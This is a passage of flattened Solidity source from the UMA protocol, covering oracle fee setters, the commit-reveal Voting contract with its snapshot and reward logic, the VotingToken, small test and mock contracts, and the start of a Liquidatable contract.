FixedPoint.Unsigned memory latePenalty) { uint256 timeDiff = endTime.sub(startTime); // Multiply by the unscaled `timeDiff` first, to get more accurate results. regularFee = pfc.mul(timeDiff).mul(fixedOracleFeePerSecondPerPfc); // Compute how long ago the start time was to compute the delay penalty. uint256 paymentDelay = getCurrentTime().sub(startTime); // Compute the additional percentage (per second) that will be charged because of the penalty. // Note: if less than a week has gone by since the startTime, paymentDelay / SECONDS_PER_WEEK will truncate to // 0, causing no penalty to be charged. FixedPoint.Unsigned memory penaltyPercentagePerSecond = weeklyDelayFeePerSecondPerPfc.mul( paymentDelay.div(SECONDS_PER_WEEK) ); // Apply the penaltyPercentagePerSecond to the payment period. latePenalty = pfc.mul(timeDiff).mul(penaltyPercentagePerSecond); } /** * @notice Computes the final oracle fees that a contract should pay at settlement. * @param currency token used to pay the final fee. * @return finalFee amount due denominated in units of `currency`. */ function computeFinalFee(address currency) external override view returns (FixedPoint.Unsigned memory) { return finalFees[currency]; } /**************************************** * ADMIN STATE MODIFYING FUNCTIONS * ****************************************/ /** * @notice Sets a new oracle fee per second. * @param newFixedOracleFeePerSecondPerPfc new fee per second charged to use the oracle. */ function setFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned memory newFixedOracleFeePerSecondPerPfc) public onlyRoleHolder(uint256(Roles.Owner)) { // Oracle fees at or over 100% don't make sense. require(newFixedOracleFeePerSecondPerPfc.isLessThan(1), "Fee must be < 100% per second."); fixedOracleFeePerSecondPerPfc = newFixedOracleFeePerSecondPerPfc; emit NewFixedOracleFeePerSecondPerPfc(newFixedOracleFeePerSecondPerPfc); } /** * @notice Sets a new weekly delay fee. * @param newWeeklyDelayFeePerSecondPerPfc fee escalation per week of late fee payment. */ function setWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned memory newWeeklyDelayFeePerSecondPerPfc) public onlyRoleHolder(uint256(Roles.Owner)) { require(newWeeklyDelayFeePerSecondPerPfc.isLessThan(1), "weekly delay fee must be < 100%"); weeklyDelayFeePerSecondPerPfc = newWeeklyDelayFeePerSecondPerPfc; emit NewWeeklyDelayFeePerSecondPerPfc(newWeeklyDelayFeePerSecondPerPfc); } /** * @notice Sets a new final fee for a particular currency. * @param currency defines the token currency used to pay the final fee. * @param newFinalFee final fee amount. */ function setFinalFee(address currency, FixedPoint.Unsigned memory newFinalFee) public onlyRoleHolder(uint256(Roles.Owner)) { finalFees[currency] = newFinalFee; emit NewFinalFee(newFinalFee); } } contract Voting is Testable, Ownable, OracleInterface, VotingInterface { using FixedPoint for FixedPoint.Unsigned; using SafeMath for uint256; using VoteTiming for VoteTiming.Data; using ResultComputation for ResultComputation.Data; /**************************************** * VOTING DATA STRUCTURES * ****************************************/ // Identifies a unique price request for which the Oracle will always return the same value. // Tracks ongoing votes as well as the result of the vote. struct PriceRequest { bytes32 identifier; uint256 time; // A map containing all votes for this price in various rounds. mapping(uint256 => VoteInstance) voteInstances; // If in the past, this was the voting round where this price was resolved. If current or the upcoming round, // this is the voting round where this price will be voted on, but not necessarily resolved. uint256 lastVotingRound; // The index in the `pendingPriceRequests` that references this PriceRequest. A value of UINT_MAX means that // this PriceRequest is resolved and has been cleaned up from `pendingPriceRequests`. uint256 index; } struct VoteInstance { // Maps (voterAddress) to their submission. mapping(address => VoteSubmission) voteSubmissions; // The data structure containing the computed voting results. ResultComputation.Data resultComputation; } struct VoteSubmission { // A bytes32 of `0` indicates no commit or a commit that was already revealed. bytes32 commit; // The hash of the value that was revealed. // Note: this is only used for computation of rewards. bytes32 revealHash; } struct Round { uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken. FixedPoint.Unsigned inflationRate; // Inflation rate set for this round. FixedPoint.Unsigned gatPercentage; // Gat rate set for this round. uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until. } // Represents the status a price request has. enum RequestStatus { NotRequested, // Was never requested. Active, // Is being voted on in the current round. Resolved, // Was resolved in a previous round. Future // Is scheduled to be voted on in a future round. } // Only used as a return value in view methods -- never stored in the contract. struct RequestState { RequestStatus status; uint256 lastVotingRound; } /**************************************** * INTERNAL TRACKING * ****************************************/ // Maps round numbers to the rounds. mapping(uint256 => Round) public rounds; // Maps price request IDs to the PriceRequest struct. mapping(bytes32 => PriceRequest) private priceRequests; // Price request ids for price requests that haven't yet been marked as resolved. // These requests may be for future rounds. bytes32[] internal pendingPriceRequests; VoteTiming.Data public voteTiming; // Percentage of the total token supply that must be used in a vote to // create a valid price resolution. 1 == 100%. FixedPoint.Unsigned public gatPercentage; // Global setting for the rate of inflation per vote. This is the percentage of the snapshotted total supply that // should be split among the correct voters. // Note: this value is used to set per-round inflation at the beginning of each round. 1 = 100%. FixedPoint.Unsigned public inflationRate; // Time in seconds from the end of the round in which a price request is // resolved that voters can still claim their rewards. uint256 public rewardsExpirationTimeout; // Reference to the voting token. VotingToken public votingToken; // Reference to the Finder. FinderInterface private finder; // If non-zero, this contract has been migrated to this address. All voters and // financial contracts should query the new address only. address public migratedAddress; // Max value of an unsigned integer. uint256 private constant UINT_MAX = ~uint256(0); bytes32 public snapshotMessageHash = ECDSA.toEthSignedMessageHash(keccak256(bytes("Sign For Snapshot"))); /*************************************** * EVENTS * ****************************************/ event VoteCommitted(address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time); event EncryptedVote( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes encryptedVote ); event VoteRevealed( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, uint256 numTokens ); event RewardsRetrieved( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, uint256 numTokens ); event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time); event PriceResolved(uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price); /** * @notice Construct the Voting contract. * @param _phaseLength length of the commit and reveal phases in seconds. * @param _gatPercentage of the total token supply that must be used in a vote to create a valid price resolution. * @param _inflationRate percentage inflation per round used to increase token supply of correct voters. * @param _rewardsExpirationTimeout timeout, in seconds, within which rewards must be claimed. * @param _votingToken address of the UMA token contract used to commit votes. * @param _finder keeps track of all contracts within the system based on their interfaceName. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( uint256 _phaseLength, FixedPoint.Unsigned memory _gatPercentage, FixedPoint.Unsigned memory _inflationRate, uint256 _rewardsExpirationTimeout, address _votingToken, address _finder, address _timerAddress ) public Testable(_timerAddress) { voteTiming.init(_phaseLength); require(_gatPercentage.isLessThanOrEqual(1), "GAT percentage must be <= 100%"); gatPercentage = _gatPercentage; inflationRate = _inflationRate; votingToken = VotingToken(_votingToken); finder = FinderInterface(_finder); rewardsExpirationTimeout = _rewardsExpirationTimeout; } /*************************************** MODIFIERS ****************************************/ modifier onlyRegisteredContract() { if (migratedAddress != address(0)) { require(msg.sender == migratedAddress, "Caller must be migrated address"); } else { Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry)); require(registry.isContractRegistered(msg.sender), "Called must be registered"); } _; } modifier onlyIfNotMigrated() { require(migratedAddress == address(0), "Only call this if not migrated"); _; } /**************************************** * PRICE REQUEST AND ACCESS FUNCTIONS * ****************************************/ /** * @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. */ function requestPrice(bytes32 identifier, uint256 time) external override onlyRegisteredContract() { uint256 blockTime = getCurrentTime(); require(time <= blockTime, "Can only request in past"); require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier request"); bytes32 priceRequestId = _encodePriceRequest(identifier, time); PriceRequest storage priceRequest = priceRequests[priceRequestId]; uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime); RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId); if (requestStatus == RequestStatus.NotRequested) { // Price has never been requested. // Price requests always go in the next round, so add 1 to the computed current round. uint256 nextRoundId = currentRoundId.add(1); priceRequests[priceRequestId] = PriceRequest({ identifier: identifier, time: time, lastVotingRound: nextRoundId, index: pendingPriceRequests.length }); pendingPriceRequests.push(priceRequestId); emit PriceRequestAdded(nextRoundId, identifier, time); } } /** * @notice Whether the price for `identifier` and `time` is available. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp of for the price request. * @return _hasPrice bool if the DVM has resolved to a price for the given identifier and timestamp. */ function hasPrice(bytes32 identifier, uint256 time) external override view onlyRegisteredContract() returns (bool) { (bool _hasPrice, , ) = _getPriceOrError(identifier, time); return _hasPrice; } /** * @notice Gets the price for `identifier` and `time` if it has already been requested and resolved. * @dev If the price is not available, the method reverts. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp of for the price request. * @return int256 representing the resolved price for the given identifier and timestamp. */ function getPrice(bytes32 identifier, uint256 time) external override view onlyRegisteredContract() returns (int256) { (bool _hasPrice, int256 price, string memory message) = _getPriceOrError(identifier, time); // If the price wasn't available, revert with the provided message. require(_hasPrice, message); return price; } /** * @notice Gets the status of a list of price requests, identified by their identifier and time. * @dev If the status for a particular request is NotRequested, the lastVotingRound will always be 0. * @param requests array of type PendingRequest which includes an identifier and timestamp for each request. * @return requestStates a list, in the same order as the input list, giving the status of each of the specified price requests. */ function getPriceRequestStatuses(PendingRequest[] memory requests) public view returns (RequestState[] memory) { RequestState[] memory requestStates = new RequestState[](requests.length); uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime()); for (uint256 i = 0; i < requests.length; i++) { PriceRequest storage priceRequest = _getPriceRequest(requests[i].identifier, requests[i].time); RequestStatus status = _getRequestStatus(priceRequest, currentRoundId); // If it's an active request, its true lastVotingRound is the current one, even if it hasn't been updated. if (status == RequestStatus.Active) { requestStates[i].lastVotingRound = currentRoundId; } else { requestStates[i].lastVotingRound = priceRequest.lastVotingRound; } requestStates[i].status = status; } return requestStates; } /**************************************** * VOTING FUNCTIONS * ****************************************/ /** * @notice Commit a vote for a price request for `identifier` at `time`. * @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase. * Commits can be changed. * @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior, * voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then * they can determine the vote pre-reveal. * @param identifier uniquely identifies the committed vote. EG BTC/USD price pair. * @param time unix timestamp of the price being voted on. * @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`. */ function commitVote( bytes32 identifier, uint256 time, bytes32 hash ) public override onlyIfNotMigrated() { require(hash != bytes32(0), "Invalid provided hash"); // Current time is required for all vote timing queries. uint256 blockTime = getCurrentTime(); require(voteTiming.computeCurrentPhase(blockTime) == Phase.Commit, "Cannot commit in reveal phase"); // At this point, the computed and last updated round ID should be equal. uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime); PriceRequest storage priceRequest = _getPriceRequest(identifier, time); require( _getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active, "Cannot commit inactive request" ); priceRequest.lastVotingRound = currentRoundId; VoteInstance storage voteInstance = priceRequest.voteInstances[currentRoundId]; voteInstance.voteSubmissions[msg.sender].commit = hash; emit VoteCommitted(msg.sender, currentRoundId, identifier, time); } /** * @notice Snapshot the current round's token balances and lock in the inflation rate and GAT. * @dev This function can be called multiple times, but only the first call per round into this function or `revealVote` * will create the round snapshot. Any later calls will be a no-op. Will revert unless called during reveal period. * @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the * snapshot. */ function snapshotCurrentRound(bytes calldata signature) external override onlyIfNotMigrated() { uint256 blockTime = getCurrentTime(); require(voteTiming.computeCurrentPhase(blockTime) == Phase.Reveal, "Only snapshot in reveal phase"); // Require public snapshot require signature to ensure caller is an EOA. require(ECDSA.recover(snapshotMessageHash, signature) == msg.sender, "Signature must match sender"); uint256 roundId = voteTiming.computeCurrentRoundId(blockTime); _freezeRoundVariables(roundId); } /** * @notice Reveal a previously committed vote for `identifier` at `time`. * @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash` * that `commitVote()` was called with. Only the committer can reveal their vote. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price being voted on. * @param price voted on during the commit phase. * @param salt value used to hide the commitment price during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, int256 salt ) public override onlyIfNotMigrated() { uint256 blockTime = getCurrentTime(); require(voteTiming.computeCurrentPhase(blockTime) == Phase.Reveal, "Cannot reveal in commit phase"); // Note: computing the current round is required to disallow people from // revealing an old commit after the round is over. uint256 roundId = voteTiming.computeCurrentRoundId(blockTime); PriceRequest storage priceRequest = _getPriceRequest(identifier, time); VoteInstance storage voteInstance = priceRequest.voteInstances[roundId]; VoteSubmission storage voteSubmission = voteInstance.voteSubmissions[msg.sender]; // 0 hashes are disallowed in the commit phase, so they indicate a different error. // Cannot reveal an uncommitted or previously revealed hash require(voteSubmission.commit != bytes32(0), "Invalid hash reveal"); require( keccak256(abi.encodePacked(price, salt, msg.sender, time, roundId, identifier)) == voteSubmission.commit, "Revealed data != commit hash" ); // To protect against flash loans, we require snapshot be validated as EOA. require(rounds[roundId].snapshotId != 0, "Round has no snapshot"); // Get the frozen snapshotId uint256 snapshotId = rounds[roundId].snapshotId; delete voteSubmission.commit; // Get the voter's snapshotted balance. Since balances are returned pre-scaled by 10**18, we can directly // initialize the Unsigned value with the returned uint. FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(votingToken.balanceOfAt(msg.sender, snapshotId)); // Set the voter's submission. voteSubmission.revealHash = keccak256(abi.encode(price)); // Add vote to the results. voteInstance.resultComputation.addVote(price, balance); emit VoteRevealed(msg.sender, roundId, identifier, time, price, balance.rawValue); } /** * @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote * @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to * retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience. * @param identifier unique price pair identifier. Eg: BTC/USD price pair. * @param time unix timestamp of for the price request. * @param hash keccak256 hash of the price you want to vote for and a `int256 salt`. * @param encryptedVote offchain encrypted blob containing the voters amount, time and salt. */ function commitAndEmitEncryptedVote( bytes32 identifier, uint256 time, bytes32 hash, bytes memory encryptedVote ) public { commitVote(identifier, time, hash); uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime()); emit EncryptedVote(msg.sender, roundId, identifier, time, encryptedVote); } /** * @notice Submit a batch of commits in a single transaction. * @dev Using `encryptedVote` is optional. If included then commitment is emitted in an event. * Look at `project-root/common/Constants.js` for the tested maximum number of * commitments that can fit in one transaction. * @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(Commitment[] calldata commits) external override { for (uint256 i = 0; i < commits.length; i++) { if (commits[i].encryptedVote.length == 0) { commitVote(commits[i].identifier, commits[i].time, commits[i].hash); } else { commitAndEmitEncryptedVote( commits[i].identifier, commits[i].time, commits[i].hash, commits[i].encryptedVote ); } } } /** * @notice Reveal multiple votes in a single transaction. * Look at `project-root/common/Constants.js` for the tested maximum number of reveals. * that can fit in one transaction. * @dev For more information on reveals, review the comment for `revealVote`. * @param reveals array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(Reveal[] calldata reveals) external override { for (uint256 i = 0; i < reveals.length; i++) { revealVote(reveals[i].identifier, reveals[i].time, reveals[i].price, reveals[i].salt); } } /** * @notice Retrieves rewards owed for a set of resolved price requests. * @dev Can only retrieve rewards if calling for a valid round and if the * call is done within the timeout threshold (not expired). * @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller. * @param roundId the round from which voting rewards will be retrieved from. * @param toRetrieve array of PendingRequests which rewards are retrieved from. * @return totalRewardToIssue total amount of rewards returned to the voter. */ function retrieveRewards( address voterAddress, uint256 roundId, PendingRequest[] memory toRetrieve ) public override returns (FixedPoint.Unsigned memory totalRewardToIssue) { if (migratedAddress != address(0)) { require(msg.sender == migratedAddress, "Can only call from migrated"); } uint256 blockTime = getCurrentTime(); require(roundId < voteTiming.computeCurrentRoundId(blockTime), "Invalid roundId"); Round storage round = rounds[roundId]; bool isExpired = blockTime > round.rewardsExpirationTime; FixedPoint.Unsigned memory snapshotBalance = FixedPoint.Unsigned( votingToken.balanceOfAt(voterAddress, round.snapshotId) ); // Compute the total amount of reward that will be issued for each of the votes in the round. FixedPoint.Unsigned memory snapshotTotalSupply = FixedPoint.Unsigned( votingToken.totalSupplyAt(round.snapshotId) ); FixedPoint.Unsigned memory totalRewardPerVote = round.inflationRate.mul(snapshotTotalSupply); // Keep track of the voter's accumulated token reward. totalRewardToIssue = FixedPoint.Unsigned(0); for (uint256 i = 0; i < toRetrieve.length; i++) { PriceRequest storage priceRequest = _getPriceRequest(toRetrieve[i].identifier, toRetrieve[i].time); VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound]; // Only retrieve rewards for votes resolved in same round require(priceRequest.lastVotingRound == roundId, "Retrieve for votes same round"); _resolvePriceRequest(priceRequest, voteInstance); if (voteInstance.voteSubmissions[voterAddress].revealHash == 0) { continue; } else if (isExpired) { // Emit a 0 token retrieval on expired rewards. emit RewardsRetrieved(voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, 0); } else if ( voteInstance.resultComputation.wasVoteCorrect(voteInstance.voteSubmissions[voterAddress].revealHash) ) { // The price was successfully resolved during the voter's last voting round, the voter revealed // and was correct, so they are eligible for a reward. // Compute the reward and add to the cumulative reward. FixedPoint.Unsigned memory reward = snapshotBalance.mul(totalRewardPerVote).div( voteInstance.resultComputation.getTotalCorrectlyVotedTokens() ); totalRewardToIssue = totalRewardToIssue.add(reward); // Emit reward retrieval for this vote. emit RewardsRetrieved( voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, reward.rawValue ); } else { // Emit a 0 token retrieval on incorrect votes. emit RewardsRetrieved(voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, 0); } // Delete the submission to capture any refund and clean up storage. delete voteInstance.voteSubmissions[voterAddress].revealHash; } // Issue any accumulated rewards. if (totalRewardToIssue.isGreaterThan(0)) { require(votingToken.mint(voterAddress, totalRewardToIssue.rawValue), "Voting token issuance failed"); } } /**************************************** * VOTING GETTER FUNCTIONS * ****************************************/ /** * @notice Gets the queries that are being voted on this round. * @return pendingRequests array containing identifiers of type `PendingRequest`. * and timestamps for all pending requests. */ function getPendingRequests() external override view returns (PendingRequest[] memory) { uint256 blockTime = getCurrentTime(); uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime); // Solidity memory arrays aren't resizable (and reading storage is expensive). Hence this hackery to filter // `pendingPriceRequests` only to those requests that have an Active RequestStatus. PendingRequest[] memory unresolved = new PendingRequest[](pendingPriceRequests.length); uint256 numUnresolved = 0; for (uint256 i = 0; i < pendingPriceRequests.length; i++) { PriceRequest storage priceRequest = priceRequests[pendingPriceRequests[i]]; if (_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active) { unresolved[numUnresolved] = PendingRequest({ identifier: priceRequest.identifier, time: priceRequest.time }); numUnresolved++; } } PendingRequest[] memory pendingRequests = new PendingRequest[](numUnresolved); for (uint256 i = 0; i < numUnresolved; i++) { pendingRequests[i] = unresolved[i]; } return pendingRequests; } /** * @notice Returns the current voting phase, as a function of the current time. * @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }. */ function getVotePhase() external override view returns (Phase) { return voteTiming.computeCurrentPhase(getCurrentTime()); } /** * @notice Returns the current round ID, as a function of the current time. * @return uint256 representing the unique round ID. */ function getCurrentRoundId() external override view returns (uint256) { return voteTiming.computeCurrentRoundId(getCurrentTime()); } /**************************************** * OWNER ADMIN FUNCTIONS * ****************************************/ /** * @notice Disables this Voting contract in favor of the migrated one. * @dev Can only be called by the contract owner. * @param newVotingAddress the newly migrated contract address. */ function setMigrated(address newVotingAddress) external onlyOwner { migratedAddress = newVotingAddress; } /** * @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newInflationRate sets the next round's inflation rate. */ function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public onlyOwner { inflationRate = newInflationRate; } /** * @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newGatPercentage sets the next round's Gat percentage. */ function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public onlyOwner { require(newGatPercentage.isLessThan(1), "GAT percentage must be < 100%"); gatPercentage = newGatPercentage; } /** * @notice Resets the rewards expiration timeout. * @dev This change only applies to rounds that have not yet begun. * @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards. */ function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public onlyOwner { rewardsExpirationTimeout = NewRewardsExpirationTimeout; } /**************************************** * PRIVATE AND INTERNAL FUNCTIONS * ****************************************/ // Returns the price for a given identifer. Three params are returns: bool if there was an error, int to represent // the resolved price and a string which is filled with an error message, if there was an error or "". function _getPriceOrError(bytes32 identifier, uint256 time) private view returns ( bool, int256, string memory ) { PriceRequest storage priceRequest = _getPriceRequest(identifier, time); uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime()); RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId); if (requestStatus == RequestStatus.Active) { return (false, 0, "Current voting round not ended"); } else if (requestStatus == RequestStatus.Resolved) { VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound]; (, int256 resolvedPrice) = voteInstance.resultComputation.getResolvedPrice( _computeGat(priceRequest.lastVotingRound) ); return (true, resolvedPrice, ""); } else if (requestStatus == RequestStatus.Future) { return (false, 0, "Price is still to be voted on"); } else { return (false, 0, "Price was never requested"); } } function _getPriceRequest(bytes32 identifier, uint256 time) private view returns (PriceRequest storage) { return priceRequests[_encodePriceRequest(identifier, time)]; } function _encodePriceRequest(bytes32 identifier, uint256 time) private pure returns (bytes32) { return keccak256(abi.encode(identifier, time)); } function _freezeRoundVariables(uint256 roundId) private { Round storage round = rounds[roundId]; // Only on the first reveal should the snapshot be captured for that round. if (round.snapshotId == 0) { // There is no snapshot ID set, so create one. round.snapshotId = votingToken.snapshot(); // Set the round inflation rate to the current global inflation rate. rounds[roundId].inflationRate = inflationRate; // Set the round gat percentage to the current global gat rate. rounds[roundId].gatPercentage = gatPercentage; // Set the rewards expiration time based on end of time of this round and the current global timeout. rounds[roundId].rewardsExpirationTime = voteTiming.computeRoundEndTime(roundId).add( rewardsExpirationTimeout ); } } function _resolvePriceRequest(PriceRequest storage priceRequest, VoteInstance storage voteInstance) private { if (priceRequest.index == UINT_MAX) { return; } (bool isResolved, int256 resolvedPrice) = voteInstance.resultComputation.getResolvedPrice( _computeGat(priceRequest.lastVotingRound) ); require(isResolved, "Can't resolve unresolved request"); // Delete the resolved price request from pendingPriceRequests. uint256 lastIndex = pendingPriceRequests.length - 1; PriceRequest storage lastPriceRequest = priceRequests[pendingPriceRequests[lastIndex]]; lastPriceRequest.index = priceRequest.index; pendingPriceRequests[priceRequest.index] = pendingPriceRequests[lastIndex]; pendingPriceRequests.pop(); priceRequest.index = UINT_MAX; emit PriceResolved(priceRequest.lastVotingRound, priceRequest.identifier, priceRequest.time, resolvedPrice); } function _computeGat(uint256 roundId) private view returns (FixedPoint.Unsigned memory) { uint256 snapshotId = rounds[roundId].snapshotId; if (snapshotId == 0) { // No snapshot - return max value to err on the side of caution. return FixedPoint.Unsigned(UINT_MAX); } // Grab the snapshotted supply from the voting token. It's already scaled by 10**18, so we can directly // initialize the Unsigned value with the returned uint. FixedPoint.Unsigned memory snapshottedSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(snapshotId)); // Multiply the total supply at the snapshot by the gatPercentage to get the GAT in number of tokens. return snapshottedSupply.mul(rounds[roundId].gatPercentage); } function _getRequestStatus(PriceRequest storage priceRequest, uint256 currentRoundId) private view returns (RequestStatus) { if (priceRequest.lastVotingRound == 0) { return RequestStatus.NotRequested; } else if (priceRequest.lastVotingRound < currentRoundId) { VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound]; (bool isResolved, ) = voteInstance.resultComputation.getResolvedPrice( _computeGat(priceRequest.lastVotingRound) ); return isResolved ? RequestStatus.Resolved : RequestStatus.Active; } else if (priceRequest.lastVotingRound == currentRoundId) { return RequestStatus.Active; } else { // Means than priceRequest.lastVotingRound > currentRoundId return RequestStatus.Future; } } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } } contract VotingToken is ExpandedERC20, ERC20Snapshot { /** * @notice Constructs the VotingToken. */ constructor() public ExpandedERC20("UMA Voting Token v1", "UMA", 18) {} /** * @notice Creates a new snapshot ID. * @return uint256 Thew new snapshot ID. */ function snapshot() external returns (uint256) { return _snapshot(); } // _transfer, _mint and _burn are ERC20 internal methods that are overridden by ERC20Snapshot, // therefore the compiler will complain that VotingToken must override these methods // because the two base classes (ERC20 and ERC20Snapshot) both define the same functions function _transfer( address from, address to, uint256 value ) internal override(ERC20, ERC20Snapshot) { super._transfer(from, to, value); } function _mint(address account, uint256 value) internal override(ERC20, ERC20Snapshot) { super._mint(account, value); } function _burn(address account, uint256 value) internal override(ERC20, ERC20Snapshot) { super._burn(account, value); } } contract MockAdministratee is AdministrateeInterface { uint256 public timesRemargined; uint256 public timesEmergencyShutdown; function remargin() external override { timesRemargined++; } function emergencyShutdown() external override { timesEmergencyShutdown++; } } contract VotingTest is Voting { constructor( uint256 _phaseLength, FixedPoint.Unsigned memory _gatPercentage, FixedPoint.Unsigned memory _inflationRate, uint256 _rewardsExpirationTimeout, address _votingToken, address _finder, address _timerAddress ) public Voting( _phaseLength, _gatPercentage, _inflationRate, _rewardsExpirationTimeout, _votingToken, _finder, _timerAddress ) {} function getPendingPriceRequestsArray() external view returns (bytes32[] memory) { return pendingPriceRequests; } } contract Liquidatable is PricelessPositionManager { using FixedPoint for FixedPoint.Unsigned; using SafeMath for uint256; using SafeERC20 for IERC20; /**************************************** * LIQUIDATION DATA STRUCTURES * ****************************************/ // Because of the check in withdrawable(), the order of these enum values should not change. enum Status { Uninitialized, PreDispute, PendingDispute, DisputeSucceeded, DisputeFailed } struct LiquidationData { // Following variables set upon creation of liquidation: address sponsor; // Address of the liquidated position's sponsor address liquidator; // Address who created this liquidation Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle // Following variables determined by the position that is being liquidated: FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute // Amount of collateral being liquidated, which could be different from // lockedCollateral if there were pending withdrawals at the time of liquidation FixedPoint.Unsigned liquidatedCollateral; // Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation. FixedPoint.Unsigned rawUnitCollateral; // Following variable set upon initiation of a dispute: address disputer; // Person who is disputing a liquidation // Following variable set upon a resolution of a dispute: FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute FixedPoint.Unsigned finalFee; } // Define the contract's constructor parameters as a struct to enable more variables to be specified. // This is required to enable more params, over and above Solidity's limits. struct ConstructorParams { // Params for PricelessPositionManager only. uint256 expirationTimestamp; uint256 withdrawalLiveness; address collateralAddress; address finderAddress; address tokenFactoryAddress; address timerAddress; address excessTokenBeneficiary; bytes32 priceFeedIdentifier; string syntheticName; string syntheticSymbol; FixedPoint.Unsigned minSponsorTokens; // Params specifically for Liquidatable. uint256 liquidationLiveness; FixedPoint.Unsigned collateralRequirement; FixedPoint.Unsigned disputeBondPct; FixedPoint.Unsigned sponsorDisputeRewardPct; FixedPoint.Unsigned disputerDisputeRewardPct; } // Liquidations are unique by ID per sponsor mapping(address => LiquidationData[]) public liquidations; // Total collateral in liquidation. FixedPoint.Unsigned public rawLiquidationCollateral; // Immutable contract parameters: // Amount of time for pending liquidation before expiry. // !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors. // Extremely low liveness values increase the chance that opportunistic invalid liquidations // expire without dispute, thereby decreasing the usability for sponsors and increasing the risk // for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic // token holder for the contract. uint256 public liquidationLiveness; // Required collateral:TRV ratio for a position to be considered sufficiently collateralized. FixedPoint.Unsigned public collateralRequirement; // Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer // Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%" FixedPoint.Unsigned public disputeBondPct; // Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute) // Represented as a multiplier, see above. FixedPoint.Unsigned public sponsorDisputeRewardPct; // Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute) // Represented as a multiplier, see above. FixedPoint.Unsigned public disputerDisputeRewardPct; /**************************************** * EVENTS * ****************************************/ event LiquidationCreated( address indexed sponsor, address indexed liquidator, uint256 indexed liquidationId, uint256 tokensOutstanding, uint256 lockedCollateral, uint256 liquidatedCollateral, uint256 liquidationTime ); event LiquidationDisputed( address indexed sponsor, address indexed liquidator, address indexed disputer, uint256 liquidationId, uint256 disputeBondAmount ); event DisputeSettled( address indexed caller, address indexed sponsor, address indexed liquidator, address disputer, uint256 